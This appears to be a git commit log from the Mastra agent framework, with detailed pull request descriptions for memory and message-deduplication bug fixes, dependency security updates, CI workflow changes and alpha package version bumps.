<!-- coderabbit-ai-generated:v1 -->

## ELI5

When the model has already used a background task’s result to answer,
`untilIdle` should not ask it to answer again. This change skips that
extra request only when the model received the result and gave a usable
reply.

## Summary

- Track completed and failed background-task results included in the
prompt before and after request processors run.
- Do not count results that a processor replaced or that were associated
with a cached response.
- Mark results as answered only when the model’s step produces text or
object output, has no error or client tool call, and ends with a finish
reason that does not indicate an incomplete answer.
- Keep follow-ups for results the model did not receive or did not
answer.
- Remove the internal task-ID field from caller-facing `untilIdle`
chunks.
- Add scenario tests for awaited and deferred tasks, failures, step
limits, request processing, and suspended tasks. Durable and evented
engines have known gaps for failed awaited tasks and suspended tasks.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-10 12:47:26 -03:00
Jamie Nichols
ec8d9b8e7b
fix(memory): require the working memory section in single-thread observer calls for Markdown working memory (#26203)
Fixes #25350

## Problem

When observational memory manages Markdown working memory
(`observation.manageWorkingMemory: true` without a working memory
schema), the Observer updates working memory by writing a
`<working-memory>` section in its own reply. The prompt called that
section optional. In the issue's repro the Observer noticed the user's
preference change every time but often left the section out, so working
memory kept the old value. Nothing recorded that the update was missing,
so a dropped update looked the same as "nothing changed".

## Fix

- The working memory extractor is now marked as required for
single-thread Observer calls. The prompt tells the Observer to always
write `<working-memory>`, and to write `UNCHANGED` inside it when
nothing changed.
- `UNCHANGED` is skipped rather than stored, in both the tag form and
the `<extracted-values>` JSON form. Small variations like `Unchanged.`
or `` `UNCHANGED` `` are skipped too.
- If the section is missing, an entry is added to `extractionFailures`
and the Observer logs a warning naming the section.
- If a reply has nothing else in it, such as a refusal ("I'm sorry, I
can't help with that"), it is still retried. The check that decides
whether a reply has content ignores the missing-section failure. Without
that, every refusal would have counted as content and been committed,
and the observation cursor would have moved past messages nobody
observed.
- Batched multi-thread Observer calls keep the section optional. One
reply covers several threads there, so requiring a per-thread section
would record false failures.
- Working memory with a schema doesn't change. It uses a separate
structured extraction call.

`required` is not an `Extractor` config option. Only the working memory
extractor turns it on, through a constructor argument marked
`@internal`, the same way the existing `internal` flag works.

## Testing

- `extractor.test.ts` has tests for the required prompt wording, a
failure recorded when the section is missing, `UNCHANGED` and close
variants skipped in the tag form, and exact `UNCHANGED` skipped in the
JSON form, and the section staying optional for batched calls and for
other extractors. `required-section-logging.test.ts` checks the warning.
Run against main's source, the prompt test fails because main still
calls the section optional, and the logging test fails with `expected
undefined to deeply equal [ 'mood' ]`.
- `refusal-observer-output.test.ts` adds three end-to-end cases with
Markdown working memory turned on, using a real Agent and Memory against
a mock model server. A refusal doesn't advance `lastObservedAt`. A
refusal is retried and the next good reply is observed. A reply that has
observations but no `<working-memory>` commits without a retry. Without
the content-check change the first two fail: `lastObservedAt` is set
after the refusal, and the retry test sees one Observer call instead of
two. Both pass with the change.
- The `@mastra/memory` unit suite passes (2645 passed, 1 todo), and `tsc
--noEmit` and `oxlint` are clean.

I didn't re-run the issue's live-model repro, because it needs a real
model.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

## ELI5

The Observer can notice a change to Markdown working memory but fail to
save it if it leaves out that section. This change requires the section
in single-thread calls and gives the Observer a clear way to say that no
update is needed.

## Changes

- Require the `<working-memory>` section in single-thread Observer
calls. The prompt instructs the Observer to write `UNCHANGED` when no
update is needed.
- Treat `UNCHANGED` and common formatting variants as no update, rather
than storing them.
- Record a missing required section as an extraction failure and log a
warning with the failed section slugs and thread ID.
- Keep required sections optional in batched multi-thread calls.
- Exclude missing-required-section failures from the check that decides
whether an Observer refusal should be retried.
- Add tests for extraction, logging, refusal handling, and batched
calls.

**Validation:** Current-head test, build, and CI results are not
available.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: Jamie Lee Nichols <10267569+CodingButter@users.noreply.github.com>
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-10 06:56:14 -08:00
dane-ai-mastra[bot]
6deb16047f
chore: version packages (alpha) (#29719)
This PR was opened by the [Changesets
release](https://github.com/changesets/action) GitHub action. When
you're ready to do a release, you can merge this and publish to npm
yourself or [setup this action to publish
automatically](https://github.com/changesets/action#with-publishing). If
you're not ready to do a release yet, that's fine, whenever you add more
changesets to main, this PR will be updated.

⚠️⚠️⚠️⚠️⚠️⚠️

`main` is currently in **pre mode** so this branch has prereleases
rather than normal releases. If you want to exit prereleases, run
`changeset pre exit` on `main`.

⚠️⚠️⚠️⚠️⚠️⚠️

# Releases

> The changelog information of each package has been omitted from this
message, as the content exceeds the size limit.

## @mastra/slack@1.9.0-alpha.0


## @mastra/factory@0.28.0-alpha.3


## @mastra/code-sdk@1.19.0-alpha.3


## mastracode@0.50.0-alpha.3


## @mastra/observability@1.24.0-alpha.2


## @mastra/core@1.83.0-alpha.3


## @mastra/mcp-apps-components@0.1.0-alpha.3


## @mastra/playground-ui@69.0.0-alpha.4


## @mastra/server@1.83.0-alpha.3


## @mastra/server-adapters-test-suite@0.3.0-alpha.1


## @mastra/platform-workspace@1.13.0-alpha.0


## @mastra/auth-better-auth@1.1.11-alpha.1


## @mastra/client-js@1.60.0-alpha.3


## @mastra/react@1.15.0-alpha.3


## @mastra/deployer-cloud@1.83.0-alpha.3


## @mastra/longmemeval@1.1.42-alpha.3


## @mastra/opencode@0.1.42-alpha.3


## create-factory@0.4.3-alpha.3


## @mastra/arize@1.3.30-alpha.2


## @mastra/arthur@0.4.30-alpha.2


## @mastra/braintrust@1.3.27-alpha.2


## @mastra/datadog@1.4.22-alpha.2


## @mastra/deepeval@0.1.24-alpha.2


## @mastra/laminar@1.3.32-alpha.2


## @mastra/langfuse@1.6.6-alpha.2


## @mastra/langsmith@1.4.3-alpha.2


## @mastra/otel-bridge@1.5.22-alpha.2


## @mastra/otel-exporter@1.5.2-alpha.2


## @mastra/posthog@1.4.7-alpha.2


## @mastra/sentry@1.2.32-alpha.2


## @mastra/agent-builder@1.2.1-alpha.1


## mastra@1.39.0-alpha.3


## @mastra/connect@1.3.2-alpha.2


## @mastra/deployer@1.83.0-alpha.3


## @mastra/editor@0.17.1-alpha.2


## @mastra/fastembed@1.3.7-alpha.0


## @mastra/mcp-docs-server@1.3.13-alpha.6


## @mastra/memory@1.41.1-alpha.1


## @mastra/elysia@0.1.23-alpha.3


## @mastra/express@1.5.27-alpha.3


## @mastra/fastify@1.5.27-alpha.3


## @mastra/hono@1.7.25-alpha.3


## @mastra/koa@1.7.27-alpha.3


## @mastra/nestjs@0.3.0-alpha.3


## @mastra/next@0.2.41-alpha.3


## @mastra/tanstack-start@0.2.41-alpha.3


## @mastra/convex@1.8.1-alpha.0


## @mastra/pg@1.36.0-alpha.2


## @mastra/inngest@1.11.2-alpha.2


## @mastra/temporal@0.6.0-alpha.3


## create-mastra@1.39.0-alpha.3


## @internal/playground@1.39.0-alpha.3

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-11-10 10:33:29 +01:00
Arthur Fiorette
c9140d2d4d
fix(memory): write one semantic recall row per message on every agent engine (#29826)
## Description

Durable and evented agents wrote two or three semantic recall vector
rows for each message. Two writers embedded the same messages:

- the `SemanticRecall` output processor, which keys rows by message id;
- `Memory.saveMessages`, which the save queue calls from the durable
input save and the finalize flush, and which wrote rows without ids, so
the store generated random ones.

The duplicates took up `topK` slots, and the embedder ran twice per
message.

The two writers also built rows differently. Only `saveMessages` chunked
long text, stripped working-memory tags and stored thread metadata.
Neither writer can simply be removed: the processor serves agent runs,
while `saveMessages` serves direct callers (the HTTP route, the client
SDK, user code) and the save queue. So this PR gives both writers one
row builder and one id scheme.

Changes:

- Core: `buildMessageEmbeddingRows` and `upsertMessageVectors`
(internal, in `@mastra/core/memory`) now decide the row format: text
extraction, chunking, metadata and row ids. A message's first chunk
keeps its message id, which is the id the processor already wrote, so
existing rows get replaced rather than duplicated. Later chunks get a
UUID derived from the message id and chunk index. Every message-vector
upsert now sends ids. Each writer passes its own embed function, so
embedding calls, retries and caches work as before.
- Core: `MessageList` keeps a per-run record of embedded messages (index
and message id to text hash) and serializes it with the list. The save
queue passes the record to `saveMessages`, and the durable input save
copies it back from its cloned list, so the second writer skips what the
first one embedded into the same index. If a message's text has changed
since, it is embedded again. A processor writing to a custom
`semanticRecall.indexName` and `Memory` writing to its default index
each still get every message.
- Core: new `semanticRecall.maxChunkChars` option, default 16,384
characters (about 4,096 English tokens). The limit is in characters
because each provider uses its own tokenizer. The processor now chunks
long messages the way `saveMessages` already did, instead of embedding
them as one input, which failed past the embedder's limit.
- Memory: `saveMessages`, `updateMessages`, cloned-message embedding and
`updateThreadResourceId` all write through the builder. Edits and
resource moves embed before deleting the old rows, so a failed embedding
call leaves them in place. Thread metadata is read only when rows will
be written. The `@mastra/core` peer range is now `>=1.83.0-0`.
- FastEmbed: models declare `maxInputTokens: 512`, so recall chunks fit
their window.

Existing rows are not rewritten. Rows `saveMessages` wrote before this
change keep their random ids. Rows the processor wrote already use the
message id, so new writes replace them. An evented or Inngest finalize
that runs on another worker doesn't see the input save's record, so it
embeds the user message once more into the same row.

```ts
const memory = new Memory({
  options: {
    semanticRecall: { topK: 3, messageRange: 1, maxChunkChars: 6000 },
  },
})
```

Tests:
`packages/memory/integration-tests/src/semantic-recall-embedding-rows.test.ts`
runs plain, durable and evented agents against a LibSQL vector index,
with thread scope, resource scope and a custom index. It checks:

- each persisted message has exactly one row under its own id;
- no row is written twice in a run;
- the fact is recalled once.

On `main` the durable and evented cases fail with 30 rows for 12
messages. With the record not passed to `saveMessages`, the write-once
check fails on durable and evented. Memory cases cover:

- record skips;
- chunk size taken from the embedder's input limit;
- an edit that shortens a long message;
- an embedder failure during an edit.

Unit tests cover the builder and the `MessageList` record.

Six cases in `agent-memory.test.ts` fail because their recorded fixtures
no longer match the requests. They fail the same way on `main`.

## Related issue(s)

Related to #29352. Agent runs now store thread metadata on vector rows,
which the read-side fix in that issue needs. This PR does not change the
read side.

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [x] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [x] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [x] Test update

## Checklist

- [x] I have linked the related issue(s) in the description above
- [x] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## ELI5

The PR helps agents avoid saving the same message to search more than
once. It also splits long messages into smaller pieces so search can use
more of their content.

## Summary

- Shared helpers extract message text, split it into chunks, build
vector rows, and upsert them. The first chunk uses the message ID when
it is a UUID or small integer; other IDs and later chunks use stable
derived IDs.
- `SemanticRecall` and `Memory.saveMessages()` use the shared
row-building path. Agent runs track embedded text by message and index,
so writers can skip unchanged messages.
- `semanticRecall.maxChunkChars` sets the chunk limit. It defaults to
16,384 characters and can use the embedder’s declared `maxInputTokens`
when unset. FastEmbed models declare a 512-token input limit.
- Memory updates and thread-resource moves build replacement rows before
deleting existing vectors. Re-saving shorter text can leave older chunk
rows searchable; the documentation describes this behavior.
- Tests cover row counts, scopes, custom indexes, chunking, repeated
saves, edits, and embedding failures. The supplied description reports
six fixture-based `agent-memory.test.ts` failures that also occur on the
base branch. Completed check results are not available.
- Documentation and peer dependency minimum versions were updated.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-10 00:03:33 -03:00
shreyas-mastra
94e5e0dbf2
chore(deps): security refresh for templates, examples and integration tests (Vanta) (#29453)
<!-- CURSOR_AGENT_PR_BODY_BEGIN -->
## Dependency updates

Refs SEC-256, SEC-261, SEC-262, SEC-263

**2026-11-09:** merged `origin/main` into this branch with a merge
commit (no rebase, no force-push). `main` already raised `better-auth`
to `^1.7.18` (with its own changeset), so this branch now takes main's
version and floors. The old 1.7.16 changeset is removed, and no
`better-auth` change is left in this PR.

| Package | Where | From → To | Advisory |
|---|---|---|---|
| chat | `template-genui-data-explorer`,
`template-customer-refund-agent` lockfiles (via `@mastra/core`) | 4.41.1
/ 4.39.0 → 4.44.0 | AIKIDO-2026-571219 (2026-11-09) |
| `@hono/node-server` | `template-customer-refund-agent/client-demo-ui`
direct pin | 2.1.5 → 2.1.6 (matches the template's existing 2.1.6
override) | GHSA-jpvv-r467-5p4w and related (2026-11-09) |
| next | GenUI template, memory integration tests | 16.4.2/16.4.4 →
16.4.5 | Next.js advisories through 16.4.4 |
| fastify | otel-bridge agent-hub | 5.12.6 → 5.12.8 | AIKIDO through
5.12.7 |
| shell-quote / proxy-addr / image-size / `@hono/node-server` | MongoDB
Bedrock template lockfiles | refreshed (1.12.0 / 2.0.8 / 2.0.4 / 2.1.6)
| CVE-2026-102422, CVE-2026-90711, CVE-2025-71329/71330, CVE-2026-118663
|
| @opentelemetry/auto-instrumentations-node | MongoDB Bedrock template |
^0.60.0 → ^0.75.0 | CVE-2026-44902 |

Empty changeset (`vanta-2026-11-09-template-chat-4-44.md`), because this
PR now changes only templates, examples, and integration tests. No
published package changes. All versions used were published more than a
day ago. No overrides were removed or lowered.

Deferred (major-only or no fixed release): extract-zip@2.0.1 (no fix),
deepmerge 4.3.1 (no fix), picomatch 4.0.7 (no fix), zod 3.25.76 (fix in
4.x), `@ai-sdk/provider-utils` 2.2.8/3.0.x (fix in 4.0.20+, AI SDK v4/v5
compat lines), ai 4.3.19/5.0.210 (fix in 5.0.52 / 6.0.170),
`@azure/msal-node@5.6.0` (7.1.0), minimatch 9/10 (11.0.1), glob
10.5.0/13.0.6 (14.0.2; 13.0.7 is not listed as patched), openai 6.49.0
(7.5.0), `@bufbuild/protobuf@1.10.1` (2.12.1), got 15.1.0 (16.0.0),
`@apidevtools/json-schema-ref-parser@11.9.3` (15.5.1), undici 6.29.1
(7.30.1), nanoid 3.3.20 (5.1.16).
<!-- CURSOR_AGENT_PR_BODY_END -->

<div><a
href="https://cursor.com/agents/bc-e7dae54a-e16d-5b3a-ae5d-99ce740a451f?cursor_ref=pr_footer&cursor_cta=open_in_web"><picture><source
media="(prefers-color-scheme: dark)"
srcset="https://cursor.com/assets/images/open-in-web-dark.png"><source
media="(prefers-color-scheme: light)"
srcset="https://cursor.com/assets/images/open-in-web-light.png"><img
alt="Open in Web" width="114" height="28"
src="https://cursor.com/assets/images/open-in-web-dark.png"></picture></a>&nbsp;<a
href="https://cursor.com/background-agent?bcId=bc-e7dae54a-e16d-5b3a-ae5d-99ce740a451f&cursor_ref=pr_footer&cursor_cta=open_in_cursor"><picture><source
media="(prefers-color-scheme: dark)"
srcset="https://cursor.com/assets/images/open-in-cursor-dark.png"><source
media="(prefers-color-scheme: light)"
srcset="https://cursor.com/assets/images/open-in-cursor-light.png"><img
alt="Open in Cursor" width="131" height="28"
src="https://cursor.com/assets/images/open-in-cursor-dark.png"></picture></a>&nbsp;</div>



<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

## ELI5

This PR updates several third-party packages to newer versions. The
updates include authentication fixes and security-related dependency
updates.

## Changes

- Updated `better-auth` to `1.7.16` in the workspace, authentication
package, and agent example. Added a patch changeset for
`@mastra/auth-better-auth` describing session and verification fixes.
- Updated `next` to `16.4.5` in the memory integration tests and GenUI
data explorer template.
- Updated `fastify` to `5.12.8` in the OpenTelemetry bridge example.
- Updated OpenTelemetry instrumentation and `zod` in the MongoDB Bedrock
agent template. Added scoped `@ai-sdk/provider-utils` overrides and a
`compression` override.
- Updated the related pnpm and npm lockfiles.

## Validation

Build and test results: not available.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
Co-authored-by: shreyas-mastra <shreyas-mastra@users.noreply.github.com>
2026-11-09 11:54:58 -05:00
Ward Peeters
791cf606e9
fix(core): restore lease process marker removed by temp cleaners (#29723)
Co-authored-by: mastracode
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-09 15:49:40 +01:00
Dane - AI (Mastra)
4bd4b7f48e
chore(deps): update better-auth monorepo to v1.7.18 (#29714)
Co-authored-by: github-actions[bot] <github-actions[bot]@users.noreply.github.com>
2026-11-09 12:39:24 +01:00
Leo
36bbc29129
fix(core): stop re-adding sealed messages reloaded from memory (#29537)
## Description

When an agent with memory resumed a run, a sealed assistant message (for
example one observational memory had observed) could appear twice in the
prompt. Memory cleans a message when it saves it: it trims text, strips
`<working_memory>` tags and removes `updateWorkingMemory` tool steps.
`MessageList.addOne` compared the recalled copy with the live sealed
message, saw a difference, and appended the copy under a new Mastra id
while it kept the same OpenAI item ids. The next Responses request then
failed with `Duplicate item found with id rs_...`. A sealed message
whose text ends in a newline was enough to trigger it.

The memory dedupe check in `MessageList.addOne` now also treats a stored
copy as the same message when it matches the live one after that same
save cleanup (`isPersistedCopy` in
`packages/core/src/agent/message-list/conversion/utils.ts`, which reuses
core's existing `working-memory-utils` helpers). Observational memory's
buffering saves sealed messages through `MessageHistory`, which first
runs core's `filterMessagesForPersistence` and drops streaming
`partial-call` tool parts (they can arrive in client-sent history, such
as an AI SDK `dynamic-tool` part still in `input-streaming`). So
`isPersistedCopy` also compares the live message after that filter.
Memory's direct `saveMessages` keeps partial calls, and those copies
still match too.

```diff
 addOne(message, 'memory')
   for each existing message with the same id
-    if messagesAreEqual(existing, incoming) -> skip
+    if messagesAreEqual(existing, incoming)
+       or isPersistedCopy(existing, incoming)   // same id, equal after memory's save cleanup
+      -> skip
   sealed existing + "different" copy -> append under new id   // was reached by the trimmed copy
```

Text that really changed after the seal still differs after the cleanup,
so it is still added as a new message (covered by a test).

## Evidence

- **Before (origin/main core):**
`packages/memory/src/sealed-message-reload.test.ts` (the issue's
`repro.mts` as a test, using real `Memory`, `InMemoryStore`, `recall()`
and `MessageList`): `Tests 5 failed | 3 passed (8)`. The list held 2
messages with `rs_example` twice, and the LLM prompt carried
`rs_example` twice.
**After:** `Tests 9 passed (9)`. The ninth case seals a client-sent
message with a streaming tool call through the real OM seal and
`MessageHistory` save. Before the `partial-call` follow-up it failed
with a second message id next to `assistant-message`.
- **Before:** `sealed-reload-duplicate-reasoning.issue-29380.test.ts`,
the issue's agent-only fixture ported to a test: a real Agent with
observational memory, suspended twice in `ask_user`, against a scripted
Responses server over real HTTP that returns 400 on duplicate input ids.
It failed 5/5 runs with `expected [ 'rs_script_1', 'msg_script_1', … ]
to deeply equal []`.
  **After:** passed 10/10 runs.
- **Before:** the issue's original `agent-only-repro.mts`, run against
the local build with `@ai-sdk/openai` 3.0.135, got `HTTP 400 Duplicate
item found with id rs_script_1`.
**After:** no duplicate ids, and the `no-newline`, `no-buffer` and
`one-tool` controls stayed clean.
- New core unit test `conversion/is-persisted-copy.test.ts` (12 cases):
it matches trimmed, whitespace-only and working-memory-stripped copies,
and copies saved with or without a streaming `partial-call` part. It
rejects a copy missing a tool call that had finished streaming, and
copies that differ by an inner space, a different id, a different
reasoning or text item id, or an extra part.
- Neighboring suites: core `src/agent/message-list` 979 passed, 2
skipped. Memory unit `src` 2620 passed, 1 todo; after the `partial-call`
follow-up, memory `src/processors/observational-memory` 2012 passed, 1
todo. `tsc --noEmit` passed for core (`tsconfig.build.json`) and memory,
and `oxlint --type-aware --deny-warnings` and `oxfmt --check` were clean
on the changed files.

Not tested: live OpenAI (no key used); the HTTP fixture mirrors the
API's duplicate-item 400.

## Merge Danger

**Door:** two-way. Code-only change in `@mastra/core`'s `MessageList`;
reverting the commit restores the old behavior, and no stored data
changes.

**Blast radius:** every agent that loads history from memory. The new
check only runs for a memory-loaded message that shares an id with a
message already in the list, and it only drops the stored copy when the
two match after memory's own save cleanup, so the live message is kept.
Risk: if a stored copy really differs from the live message only by
whitespace or working memory, the live version now wins. That matches
how the unsealed path already handles trimmed text.

## Related issue(s)

Fixes #29380

The issue also suggests a request-wide guard that removes repeated
Responses item ids. This PR leaves that out: as the issue notes, it
would hide the 400 but not fix the duplicated history.

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [x] I have linked the related issue(s) in the description above
- [ ] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR

## Council review

Rounds: 4

| Seat | Round 1 | Round 2 | Round 3 | Round 4 |
| --- | --- | --- | --- | --- |
| Claude Opus 5.5 | not run | 8.5/10 | 8.5/10 | 9/10 |
| GPT-6.1 Sol | 9/10 | 9/10 | 9/10 | 9/10 |
| Grok 4.7 | empty seat | empty seat | empty seat | empty seat |

Created with Claude Opus 5.5 in T3 Code.

🤖 Generated with [Claude Code](https://claude.com/claude-code)


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## ELI5

Memory can change a message when it saves it, such as by trimming spaces
or removing working-memory details. This change recognizes the saved
copy when it is loaded again, so it is not added a second time with the
same provider item IDs.

## Changes

- Added `isPersistedCopy` to compare messages with the same ID after
applying persistence cleanup, including trimming text and removing
working-memory content.
- Updated `MessageList.addOne` to skip a recalled message when it
matches either the existing equality check or the persisted-copy check.
- Added tests for persistence cleanup, streaming tool calls, repeated
reloads, and duplicate provider item IDs.
- Added a patch changeset for `@mastra/core`.
- Did not add a request-wide safeguard against duplicate Responses item
IDs.

**Checks:** not available.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 21:14:50 -05:00
Tyler Barnes
43f77e77a0
ci: delete the Changed Test Gate (#29099)
## What this does

Deletes the Changed Test Gate workflow, its labeler workflow (which
labels PRs from the gate's result) and `scripts/pr-test-gate/`. The
gate's deployer rule is kept: it moves into Prebuild as a small
`Deployer E2E coverage` job.

## What the gate enforced, and what goes

The gate checked out the base branch, restored the PR's changed test
files on top of it, and ran them. Removing it drops two rules:

1. **Fail-before-fix.** If a PR changed tests, those tests had to fail
against the base branch ("Changed tests passed against the base branch.
They should fail before the PR code is applied."). This rule goes.
2. **External contributors must add tests.** A PR from outside the org
(`AUTHOR_ASSOCIATION` not OWNER/MEMBER/COLLABORATOR) with no changed
test files failed. This rule goes.

A third rule stays: **a PR that changes `packages/deployer/` must also
change `e2e-tests/monorepo/`** (`packages/deployer/AGENTS.md` and
`CHANGELOG.md` exempt; the same-repo Changesets release PR skipped).
It's now `Deployer E2E coverage` in `prebuild.yml`: a `git diff
--name-only` against the merge base, no install or build. It's its own
job rather than a step in `changes`, because a failing `changes` job
would skip every test job. `packages/deployer/AGENTS.md` now names that
job.

## Why dropping 1 and 2 is acceptable

- Neither rule was enforced at merge time: the gate isn't a required
check. The required checks are `Lint` and `Unit and E2E Tests / Merge
Test Reports`, and this PR touches neither.
- Of the gate's last 1000 runs, 8 failed. All 8 were the fail-before-fix
rule firing on tests that passed without the fix; each PR resolved it by
rewriting its tests. Across 812 gate logs from Aug–Oct, every run that
executed tests took the passing path (changed tests failed against base,
as required). So it shaped how a few tests were written, but no run
showed it stopping broken code from merging.
- It costs a runner, a checkout and a test run on every non-draft PR, on
top of Prebuild running the same changed tests against the PR head.
- External contributions still go through maintainer review, which can
ask for tests.

## Test plan

- [x] `rg` for remaining references: only two "former" comments and an
unrelated fixture name
- [x] `pnpm install --frozen-lockfile` works after removing
`scripts/pr-test-gate` (192 projects)
- [x] Deployer check shell logic run locally under `bash -eo pipefail`
with a stubbed diff: deployer-only change fails with the annotation;
deployer + `e2e-tests/monorepo/` passes; `AGENTS.md`/`CHANGELOG.md`-only
passes; no deployer change passes
- [ ] CI on this PR: no Changed Test Gate check appears; `Deployer E2E
coverage` passes


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

## ELI5

This change removes the old system that checked whether pull requests
added and tested tests. It keeps one focused rule: changes to the
deployer package must include a monorepo E2E test change, with specified
documentation files exempt.

## Changes

- Deleted the Changed Test Gate workflow, its labeler workflow, and the
`scripts/pr-test-gate/` package.
- Added a separate `Deployer E2E coverage` job to Prebuild. The job
checks the merge-base diff and fails when a non-exempt file under
`packages/deployer/` changes without a file under `e2e-tests/monorepo/`.
- Exempted `packages/deployer/AGENTS.md` and
`packages/deployer/CHANGELOG.md` from the coverage check.
- Updated `packages/deployer/AGENTS.md` to refer to the Prebuild job.
- Updated comments in the memory simulation config and two test
link-provider files.

## Validation

The PR description reports that `pnpm install --frozen-lockfile`
succeeded across 192 projects and that the deployer-check shell logic
passed the listed local cases. CI validation is not confirmed: the
description says it is not yet known whether the old check disappears
and the new job passes.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
2026-11-05 19:42:33 +00:00
Dane - AI (Mastra)
bfe3af4ae1
chore(deps): update better-auth monorepo to v1.7.15 (#29497) 2026-11-04 17:36:58 -08:00
dane-ai-mastra[bot]
675caf0613
chore: version packages (alpha) (#29336)
This PR was opened by the [Changesets
release](https://github.com/changesets/action) GitHub action. When
you're ready to do a release, you can merge this and publish to npm
yourself or [setup this action to publish
automatically](https://github.com/changesets/action#with-publishing). If
you're not ready to do a release yet, that's fine, whenever you add more
changesets to main, this PR will be updated.

⚠️⚠️⚠️⚠️⚠️⚠️

`main` is currently in **pre mode** so this branch has prereleases
rather than normal releases. If you want to exit prereleases, run
`changeset pre exit` on `main`.

⚠️⚠️⚠️⚠️⚠️⚠️

# Releases

> The changelog information of each package has been omitted from this
message, as the content exceeds the size limit.

## @mastra/client-js@1.60.0-alpha.0


## @mastra/react@1.15.0-alpha.0


## @mastra/factory@0.28.0-alpha.0


## @mastra/code-sdk@1.19.0-alpha.0


## mastra@1.39.0-alpha.0


## @mastra/core@1.83.0-alpha.0


## @mastra/mcp@2.9.0-alpha.0


## @mastra/mcp-apps-components@0.1.0-alpha.0


## @mastra/playground-ui@69.0.0-alpha.0


## @mastra/server@1.83.0-alpha.0


## @mastra/nestjs@0.3.0-alpha.0


## @mastra/clickhouse@1.30.0-alpha.0


## @mastra/duckdb@1.19.0-alpha.0


## @mastra/libsql@1.30.0-alpha.0


## @mastra/pg@1.36.0-alpha.0


## @mastra/temporal@0.6.0-alpha.0


## @mastra/auth-better-auth@1.1.11-alpha.0


## @mastra/deployer-cloud@1.83.0-alpha.0


## @mastra/deployer-cloudflare@1.2.42-alpha.0


## @mastra/deployer-netlify@1.2.42-alpha.0


## @mastra/deployer-sandbox@0.3.27-alpha.0


## @mastra/deployer-vercel@1.2.42-alpha.0


## @mastra/longmemeval@1.1.42-alpha.0


## @mastra/opencode@0.1.42-alpha.0


## create-factory@0.4.3-alpha.0


## mastracode@0.49.1-alpha.0


## @mastra/arize@1.3.30-alpha.0


## @mastra/arthur@0.4.30-alpha.0


## @mastra/braintrust@1.3.27-alpha.0


## @mastra/datadog@1.4.22-alpha.0


## @mastra/deepeval@0.1.24-alpha.0


## @mastra/laminar@1.3.32-alpha.0


## @mastra/langfuse@1.6.6-alpha.0


## @mastra/langsmith@1.4.3-alpha.0


## @mastra/observability@1.23.2-alpha.0


## @mastra/otel-bridge@1.5.22-alpha.0


## @mastra/otel-exporter@1.5.2-alpha.0


## @mastra/posthog@1.4.7-alpha.0


## @mastra/sentry@1.2.32-alpha.0


## @mastra/agent-builder@1.2.1-alpha.0


## @mastra/connect@1.3.2-alpha.0


## create-mastra@1.39.0-alpha.0


## @mastra/deployer@1.83.0-alpha.0


## @mastra/editor@0.17.1-alpha.0


## @mastra/mcp-docs-server@1.3.13-alpha.0


## @mastra/memory@1.41.1-alpha.0


## @mastra/rag@2.7.3-alpha.0


## @mastra/redis-streams@0.8.1-alpha.0


## @mastra/elysia@0.1.23-alpha.0


## @mastra/express@1.5.27-alpha.0


## @mastra/fastify@1.5.27-alpha.0


## @mastra/hono@1.7.25-alpha.0


## @mastra/koa@1.7.27-alpha.0


## @mastra/next@0.2.41-alpha.0


## @mastra/tanstack-start@0.2.41-alpha.0


## @mastra/spanner@1.11.2-alpha.0


## @mastra/turso@0.1.21-alpha.0


## @mastra/inngest@1.11.2-alpha.0


## @mastra/gcs@0.3.6-alpha.0


## @internal/playground@1.39.0-alpha.0

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-11-04 14:40:27 -08:00
Dane - AI (Mastra)
9ce7e350ea
chore(deps): lock file maintenance (#29341)
Co-authored-by: wardpeet <ward@coding-tech.com>
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-04 15:03:55 +01:00
dane-ai-mastra[bot]
6e8dfcb83f chore: version - exit prerelease mode 2026-11-03 23:45:58 +00:00
dane-ai-mastra[bot]
4bc3aa672f
chore: version packages (alpha) (#29255)
This PR was opened by the [Changesets
release](https://github.com/changesets/action) GitHub action. When
you're ready to do a release, you can merge this and publish to npm
yourself or [setup this action to publish
automatically](https://github.com/changesets/action#with-publishing). If
you're not ready to do a release yet, that's fine, whenever you add more
changesets to main, this PR will be updated.

⚠️⚠️⚠️⚠️⚠️⚠️

`main` is currently in **pre mode** so this branch has prereleases
rather than normal releases. If you want to exit prereleases, run
`changeset pre exit` on `main`.

⚠️⚠️⚠️⚠️⚠️⚠️

# Releases

> The changelog information of each package has been omitted from this
message, as the content exceeds the size limit.

## @mastra/factory@0.27.0-alpha.3


## @mastra/agent-builder@1.2.0-alpha.3


## @mastra/core@1.82.0-alpha.3


## @mastra/mcp@2.8.0-alpha.2


